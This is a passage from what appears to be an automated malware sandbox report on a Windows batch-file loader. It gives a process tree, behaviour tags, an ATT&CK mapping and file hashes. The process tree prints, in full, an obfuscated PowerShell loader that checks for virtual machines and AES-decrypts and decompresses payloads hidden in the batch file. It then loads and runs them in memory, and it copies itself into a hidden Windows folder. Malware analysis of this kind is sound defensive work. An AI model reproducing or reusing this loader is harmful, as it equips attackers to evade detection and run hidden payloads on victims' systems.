1⤵
PID:1192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1348
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2092

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Modifies data under HKEY_USERS
PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2660

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2568

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3152

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loader.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5264
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:3248
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
    3⤵
    PID:5516
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:2416
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
    3⤵
    PID:5844
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Users\Admin\AppData\Local\Temp\Loader.cmd';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));
    3⤵
    PID:3840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 5036 -s 2428
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:5940
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loader.cmd>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:5012
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:2540
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1576
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:1692
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
        5⤵
        
        PID:2032
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:4248
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
        5⤵
        
        PID:3908
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));
        5⤵
        
        PID:3964
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:1652
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1652 -s 2440
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1688
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1652 -s 2456
        6⤵
        
        PID:2132
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:1696
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:5508
- C:\Windows\$nya-onimai2\oTnzMN.exe
  "C:\Windows\$nya-onimai2\oTnzMN.exe"
  2⤵
  - Executes dropped EXE
  PID:5992
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4868
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 5992 -s 244
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:5092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3500

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3872

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4020

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4028

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:5884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:6028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:5140

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1952

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4428

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5016

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4460

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2560
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 408 -p 5036 -ip 5036
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:6072
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 556 -p 1652 -ip 1652
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:1540
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 492 -p 1652 -ip 1652
  2⤵
  PID:3208
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 612 -p 5992 -ip 5992
  2⤵
  PID:5316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:544

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
PID:6332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER.06e85011-0260-454a-8654-3903d9b1064d.tmp.txt

Filesize
13KB

MD5
977b70d2ef8a2d102266587685da7423

SHA1
a5822247babb4acf3fe162afcb13c42abf70d8cc

SHA256
50f2610bd7101ac3d08d24f76bedf84bd157a6db83beb38182861ce7fa24af2e

SHA512
a8135fda52847726f54ce54679def889258f57fc48aae69ea23256d137ee732d09d91923ca15298dfac6476aadc755c9e9c27d3beac3ec3e10eba9fdb66be5e5

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.3983f343-24bc-4297-9371-e2de53b2b4f6.tmp.txt

Filesize
13KB

MD5
f8d0c8afb8068b6525cfc4c80ce2b9da

SHA1
a1477becf41c9d3135713b6881a565597c3bea84

SHA256
2ed9b723854b9fc65bfa6db9d08994aed33c41af5a9e9f9cced46a460f1167e4

SHA512
9896f2b98e9d5987efd2980a0e805cc38de1267c547612fb9aa00909d22e0884ad5be368bfe95f867fe342b61d4491e69c87b43334d0a0f580505ec7c019395a

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.a4f4072d-f32a-4b76-b123-be4ab97fbe56.tmp.txt

Filesize
13KB

MD5
7d042bc1a657c401a326f32e7e38ddb7

SHA1
3dd4eab16c415785d79801e2fdd74de8ba17ca0f

SHA256
4ab3457cf6334431d35cdbf9a54dbac7d4557609c716a6dd07547f0881fc82f8

SHA512
18386d538ade5aac10a8f522a493f4bc2bcb52ae00b3a0279af10073b1a491876a9c7796bac97a3d9b1a5564e8a803ef3ce9e6591fb1a1757880a15770c5fa6e

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.e7e8127f-804d-4356-b218-422325db46ca.tmp.csv

Filesize
34KB

MD5
ba0d414603263f470daa03ecad602a60

SHA1
8de692cac7577e0b333fef5b96237be8bdd340b0

SHA256
c6703a1319ed24156aa3dcb132db526d01b89bd16ce635d497855f79c6cd90c4

SHA512
8637c17f6fe6249130a546e836fc1de510fbed9c03aa72ee6a416eeb4cd4e5010bc1020c6d9818d99b1edbd4751f225f448414c8bd44c048cc5793e19e457465

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.eea40095-71d6-4a3a-919b-45d5e702aaac.tmp.csv

Filesize
35KB

MD5
645e22ab9c87c6b7b66383a950131619

SHA1
bcc02befe8b8142771346ca0531a69317ba03af6

SHA256
d75a96908b6c4dacd2cd2dbfa59841a3060d1f1f4024db533ac97487e0435b73

SHA512
f5dc4da1f2c125a03cee8af89b2f3d1e1078595f1efd4018d9c201db0064f82e54ce0abb685ca93bde3a48366135adab3a4aa2b2cf8119aee9d93a49cab20590

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.f275f245-59ff-4a8f-b9fb-c0e29ad23053.tmp.csv

Filesize
35KB

MD5
195f32e868bdab508c2d4ef597bd640d

SHA1
37a99b86131db04e44a157bd3ab84aa5df353141

SHA256
be916f007a6e54b96a0aa9a94e188f4051741c4d50018e4620bfba7a5b8baccf

SHA512
e6ec180ad5d981d5f6656abe42c53931e1a94b606ad3e17bf2b2edd66e7537dc710ed405bbc263ca0207910767b4caf1f0c6880545f522826a5b11fc4e2b6693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
17a17db79c19d4aa20da768f2f11e0f6

SHA1
78a73b83c002d4f3b51b69fc3cdf9cf0167fedc1

SHA256
e9819d3ecd5796772aaeb07dc1c5da0563d3a1bf9422da03b0514b95ffad8289

SHA512
7a450bd6e8767e16345db6745f162de8e948fb7b65dc5aa1b27e9c395f7657a5fc8a6becbe7e5d332c3c7480783474936e6d21f6421454d8fbe35f2f946043be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
1KB

MD5
38d82e4dea1c1bf49bf8ec02767bf6c5

SHA1
d047341a619d44c61fe80a9591f87a3806699dee

SHA256
d753c949c37d2cdb08f9639a37f79c34c5c65eaebe6691bcae1b02d5585b6ee1

SHA512
e30c6cf10376b148552fdb69ad994a0369d6c121dc193b4e11dbd7f13004461fe7e292aa4eb1edd0325a8dd52c86f159bb0835e9331ecc0cd050c83935a4a2a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnx14ckq.gjx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$nya-onimai2\oTnzMN.exe

Filesize
36KB

MD5
b943a57bdf1bbd9c33ab0d33ff885983

SHA1
1cee65eea1ab27eae9108c081e18a50678bd5cdc

SHA256
878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

SHA512
cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.3MB

MD5
1bec1098946595a03fa067a3ef7ce292

SHA1
89cfb4a2f8800f1b944d906d959639907672317d

SHA256
a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb

SHA512
dc7e73ed353d50b73a0eb6f1d955812a29fc5e05df300487d1eda49cc78e6748929a17cd59b58148f7e8696fd0fdfd21e8269af6788f1037bda6d8ddf30c6082

Download Submit
memory/432-78-0x000001761A240000-0x000001761A26A000-memory.dmp

Filesize
168KB

Download
memory/640-40-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-32-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-33-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-38-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-39-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-42-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-41-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-43-0x00007FFC38B50000-0x00007FFC38B60000-memory.dmp

Filesize
64KB

Download
memory/640-44-0x000002AA98480000-0x000002AA984AA000-memory.dmp

Filesize
168KB

Download
memory/640-31-0x000002AA98450000-0x000002AA98474000-memory.dmp

Filesize
144KB

Download
memory/696-56-0x000002E0892F0000-0x000002E08931A000-memory.dmp

Filesize
168KB

Download
